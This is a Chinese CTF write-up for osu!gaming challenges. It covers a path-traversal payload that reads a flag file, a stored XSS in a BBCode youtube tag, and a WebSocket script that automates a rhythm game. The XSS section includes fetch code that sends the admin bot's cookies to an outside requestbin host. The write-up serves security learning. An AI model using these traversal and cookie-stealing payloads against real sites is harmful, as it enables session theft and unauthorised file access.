teamName: Ciallo
rank: #65
points: 3243
blockchain (0/3 solved) -> 0/3243
crypto (6/8 solved) -> 744/3243
forensics (1/5 solved) -> 117/3243
misc (3/9 solved) -> 304/3243
osint (1/4 solved) ->106/3243
osu (5/10 solved) -> 550/3243
pwn (3/4 solved) -> 422/3243
reverse (4/5 solved) -> 533/3243
web (4/6 solved) -> 467/3243
mikufanpage(490 solves / 104 points)
https://mikufanpage.web.osugaming.lol/
打开网页里面是一个图片的幻灯片循环播放,题目给了附件
题目目录是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| │ app.js │ package-lock.json │ package.json │ ├─img │ flag.txt │ miku1.jpg │ miku2.jpg │ miku3.png │ miku4.png │ miku5.jpg │ miku6.png │ miku7.jpg │ └─public cube.mp3 dance.gif favicon.ico index.html
|
主要看app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| const express = require('express'); const path = require('path');
const app = express(); const PORT = process.env.PORT ?? 3000;
app.use(express.static(path.join(__dirname, 'public')));
app.listen(PORT, (err) =>{ if(!err) console.log("mikufanpage running on port "+ PORT) else console.log("Err ", err); });
app.get("/image", (req, res) => { if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { res.sendFile(path.resolve('./img/' + req.query.path)); } else { res.status(403).send('Access Denied'); } });
|
我们的目的是要读取img下的flag.txt,关键代码如下
1
| if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg")
|
根据点来分割得到后缀名,那我们只需要用点把”png” 包裹住然后再在后面用 ../ 进行目录穿越即可,最后payload就是
1
| /image?path=miku1.jpg./../flag.txt
|
得到flag
1
| osu{miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku_miku}
|
when-you-dont-see-it(235 solves / 111 points)
https://osu.ppy.sh/users/11118671
给了一个osu的用户界面
右键查看源代码搜索flag,在最后一个flag出找到flag提示(这题解的人少的原因估计是搜索出来有342个flag字样然后懒得看吧= =)
1
| [color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64
|
base64解码一下得到flag
profile-page(190 solves / 114 points)
https://profile-page.web.osugaming.lol/login
https://adminbot.web.osugaming.lol/profile-page
给了两个网页,一个用户登录注册页面,一个检查访问页面并且给了题目附件
先简单看一下两个页面实现了什么再进行代码审计
首先是登录注册的注册好之后会直接登录,登录进去的用户界面是一个仿osu官网的用户界面
然后是检查访问界面
输入你用户的url会有一个机器人访问你的用户界面
有机器人进行页面访问,那猜测大概率是xss题了
ok,接下来我们看题目的源码先看app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152
| import express from "express"; import expressSession from "express-session"; import cookieParser from "cookie-parser"; import crypto from "crypto"; import { JSDOM } from "jsdom"; import DOMPurify from "dompurify";
const app = express(); const PORT = process.env.PORT || 2727;
app.use(express.urlencoded({ extended: false })); app.use(expressSession({ secret: crypto.randomBytes(32).toString("hex"), resave: false, saveUninitialized: false })); app.use(express.static("public")); app.use(cookieParser()); app.set("view engine", "hbs");
app.use((req, res, next) => { if (req.session.user && users.has(req.session.user)) { req.user = users.get(req.session.user); res.locals.user = req.user; } next(); });
const window = new JSDOM('').window; const purify = DOMPurify(window); const renderBBCode = (data) => { data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>'); data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>'); data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>'); data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>'); data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>'); data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>'); data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>'); data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />'); return data; }; const renderBio = (data) => { const html = renderBBCode(data); const sanitized = purify.sanitize(html); return sanitized.replaceAll( /\[youtube\](.+?)\[\/youtube\]/g, '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>' ); };
const sha256 = (data) => crypto.createHash('sha256').update(data).digest('hex'); const users = new Map();
const requiresLogin = (req, res, next) => req.user ? next() : res.redirect("/login");
app.post("/api/register", (req, res) => { const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") { return res.end("missing username or password"); } if (username.length < 5 || password.length < 8) { return res.end("username or password too short"); }
if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) { return res.end("invalid username format"); }
if (users.has(username)) { return res.end("a user already exists with that username"); }
users.set(username, { username, password: sha256(password), bio: renderBio(`Welcome to ${username}'s page!`) });
req.session.user = username; res.cookie("csrf", crypto.randomBytes(32).toString("hex")); res.redirect("/profile/" + username); });
app.post("/api/login", (req, res) => { const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") { return res.end("missing username or password"); }
if (!users.has(username)) { return res.end("no user exists with that username"); }
if (users.get(username).password !== sha256(password)) { return res.end("invalid password"); }
req.session.user = username; res.cookie("csrf", crypto.randomBytes(32).toString("hex")); res.redirect("/profile/" + username); });
app.post("/api/update", requiresLogin, (req, res) => { const { bio } = req.body;
if (!bio || typeof bio !== "string") { return res.end("missing bio"); }
if (!req.headers.csrf) { return res.end("missing csrf token"); }
if (req.headers.csrf !== req.cookies.csrf) { return res.end("invalid csrf token"); }
if (bio.length > 2048) { return res.end("bio too long"); }
req.user.bio = renderBio(bio); res.send(`Bio updated!`); });
app.get("/login", (req, res) => res.render("login")); app.get("/register", (req, res) => res.render("register")); app.get("/profile", requiresLogin, (req, res) => res.redirect("/profile/" + req.user.username)); app.get("/profile/:user", (req, res) => { const { user } = req.params; if (!users.has(user)) { return res.end("no user exists with that username!"); } res.locals.user = users.get(user); res.render("profile"); });
app.get("/", (req, res) => res.redirect("/profile"));
app.get('*', (req, res) => { res.set("Content-Type", "text/plain"); res.status = 404; res.send(`Error: ${req.originalUrl} was not found`); });
app.listen(PORT, () => console.log(`web/profile-page listening at http://localhost:${PORT}`));
|
这个是登录注册的源码,里面有三个api路由和一个用户界面,每个路由进行分析
(虽然一眼看过去就知道是上面data.replaceAll
有问题,但是因为代码审计能力太弱了,完全没有看见,导致做了将近两个小时,还是通过一点点非预期才看见的,谢罪了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| app.post("/api/register", (req, res) => { const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") { return res.end("missing username or password"); } if (username.length < 5 || password.length < 8) { return res.end("username or password too short"); }
if (username.length > 30 || /[^A-Za-z0-9 ]/.test(username)) { return res.end("invalid username format"); }
if (users.has(username)) { return res.end("a user already exists with that username"); }
users.set(username, { username, password: sha256(password), bio: renderBio(`Welcome to ${username}'s page!`) });
req.session.user = username; res.cookie("csrf", crypto.randomBytes(32).toString("hex")); res.redirect("/profile/" + username); });
|
注册的api限制了用户名长度(5,30),且只能有数字字母,且用户名不能和别人重复,密码长度大于8,并且将用户名解析在bio中(没有xss的经验让我找了快半小时only数字字母xss的技巧无果才看其他地方的)
然后是登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| app.post("/api/login", (req, res) => { const { username, password } = req.body;
if (!username || typeof username !== "string" || !password || typeof password !== "string") { return res.end("missing username or password"); }
if (!users.has(username)) { return res.end("no user exists with that username"); }
if (users.get(username).password !== sha256(password)) { return res.end("invalid password"); }
req.session.user = username; res.cookie("csrf", crypto.randomBytes(32).toString("hex")); res.redirect("/profile/" + username); });
|
就是检测map中值对应是否正确,没有想到可以利用的地方
最后是关键的/api/update
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| app.post("/api/update", requiresLogin, (req, res) => { const { bio } = req.body;
if (!bio || typeof bio !== "string") { return res.end("missing bio"); }
if (!req.headers.csrf) { return res.end("missing csrf token"); }
if (req.headers.csrf !== req.cookies.csrf) { return res.end("invalid csrf token"); }
if (bio.length > 2048) { return res.end("bio too long"); }
req.user.bio = renderBio(bio); res.send(`Bio updated!`); });
|
会把update的bio显示在ui上,并且除了DOMPurify
没有任何限制,那么显然注入点就在这里了
跟着分析,我们需要构造的bio,看看这个修改bio的函数renderBio()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| const renderBBCode = (data) => { data = data.replaceAll(/\[b\](.+?)\[\/b\]/g, '<strong>$1</strong>'); data = data.replaceAll(/\[i\](.+?)\[\/i\]/g, '<i>$1</i>'); data = data.replaceAll(/\[u\](.+?)\[\/u\]/g, '<u>$1</u>'); data = data.replaceAll(/\[strike\](.+?)\[\/strike\]/g, '<strike>$1</strike>'); data = data.replaceAll(/\[color=#([0-9a-f]{6})\](.+?)\[\/color\]/g, '<span style="color: #$1">$2</span>'); data = data.replaceAll(/\[size=(\d+)\](.+?)\[\/size\]/g, '<span style="font-size: $1px">$2</span>'); data = data.replaceAll(/\[url=(.+?)\](.+?)\[\/url\]/g, '<a href="$1">$2</a>'); data = data.replaceAll(/\[img\](.+?)\[\/img\]/g, '<img src="$1" />'); return data; }; const renderBio = (data) => { const html = renderBBCode(data); const sanitized = purify.sanitize(html); return sanitized.replaceAll( /\[youtube\](.+?)\[\/youtube\]/g, '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>' ); };
|
会把固定格式替换成html标签,下面就简单了,闭合一下$1处的引号,构造payload尝试一下
1
| [youtube]1" onload="alert(1);[/youtube]
|
控制台发送请求
1 2 3 4 5 6 7 8 9 10
| await fetch('/api/update',{ method: 'POST', headers: { csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5', 'content-type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ bio: '[youtube]11" onload="alert(1)" [/youtube]' }).toString() }).then(r=>r.text())
|
弹窗成功
接下来就简单看一下机器人
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
|
const puppeteer = require("puppeteer");
const FLAG = "osu{test_flag}"; const SITE = "https://profile-page.web.osugaming.lol";
const sleep = ms => new Promise(r => setTimeout(r, ms));
async function visit(url) { let browser; try { browser = await puppeteer.launch({ headless: true, pipe: true, args: [ "--no-sandbox", "--disable-setuid-sandbox", "--js-flags=--noexpose_wasm,--jitless", ], dumpio: true });
let page = await browser.newPage(); await page.goto(SITE, { timeout: 3000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => { document.cookie = "flag=" + flag + "; secure; path=/"; }, FLAG);
await page.close(); page = await browser.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' }) await sleep(5000);
await browser.close(); browser = null; } catch (err) { console.log(err); } finally { if (browser) await browser.close(); } }
visit("EXPLOIT_URL");
|
机器人直接把flag写在cookie里,访问一下应该就有了
接下来就是找个站接收,推荐用这个站https://pipedream.com/requestbin
1 2 3 4 5 6 7 8 9 10
| await fetch('/api/update',{ method: 'POST', headers: { csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5', 'content-type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ bio: '[youtube]11" onload="fetch(`https://eonngzestk4l8vk.m.pipedream.net/`)" [/youtube]' }).toString() }).then(r=>r.text())
|
然后把用户页面丢到机器人那里,发现并没有把cookie带出来,修改一下payload,让url把cookie带回来
1 2 3 4 5 6 7 8 9 10
| await fetch('/api/update',{ method: 'POST', headers: { csrf: 'ed25eb2240494098879f95bef00d39940737a10165d90a1f9c2dbe8235fe3cf5', 'content-type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ bio: '[youtube]11" onload="fetch(`https://eonngzestk4l8vk.m.pipedream.net/`+document.cookie)" [/youtube]' }).toString() }).then(r=>r.text())
|
成功得到flag
1
| osu{but_all_i_w4nted_to_do_was_w4tch_y0utube...}
|
至于说上面的一点点非预期,简单解释一下,因为是公共靶机,你可以通过公共靶机访问别人创建的任何账号,并且没有任何检查限制,幸运的我尝试的第一个用户(111111111)就是成功的,访问了之后发现他用户信息那边有图片,好奇怎么插入图片的,就找到了bio,我一开始还看不懂bio是什么,最后就顺藤摸瓜了做了出来= =
stream-vs(79 solves / 138 points)
https://stream-vs.web.osugaming.lol/
里面是一个小游戏,一开始没搞懂什么意思,简单玩了一会发现是点击频率要和bpm一样,然后打败cookiezi获得flag,这时候就需要写脚本了
直接执行肯定会慢几拍,所以需要从开始就执行,可以用js的WebSocket访问执行,然后读取bpm然后模拟,下面给出代码(晨曦大佬写的脚本)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| let ws = new WebSocket('wss://stream-vs.web.osugaming.lol'); let clicks = new Set();
ws.onopen = () => { ws.send(JSON.stringify({ type: "login", data: "admin4" })); ws.send(JSON.stringify({ type: "challenge" })); ws.send(JSON.stringify({ type: "start" })); }; ws.onmessage = e => { const { type, data } = JSON.parse(e.data); console.log(data); run(data); }
const run = async (session) => { let bmp = session.songs[session.round].bpm; console.log("bmp = "+bmp); clicks.clear(); let start = +new Date(); recording = true; let click_data = performance.now(); let end = start + session.songs[session.round].duration * 1000; let times = end - start; console.log("times = "+times); let cnt = Math.round(bmp * 4 /60000 * times); console.log("cnt = "+cnt); for(let i=0;i<=cnt; i++) { clicks.add(click_data+0.00999998808); } recording = false; ws.send(JSON.stringify({ type: "results", data: { clicks: [...clicks], start, end } })); };
|
run了之后在控制台看见flag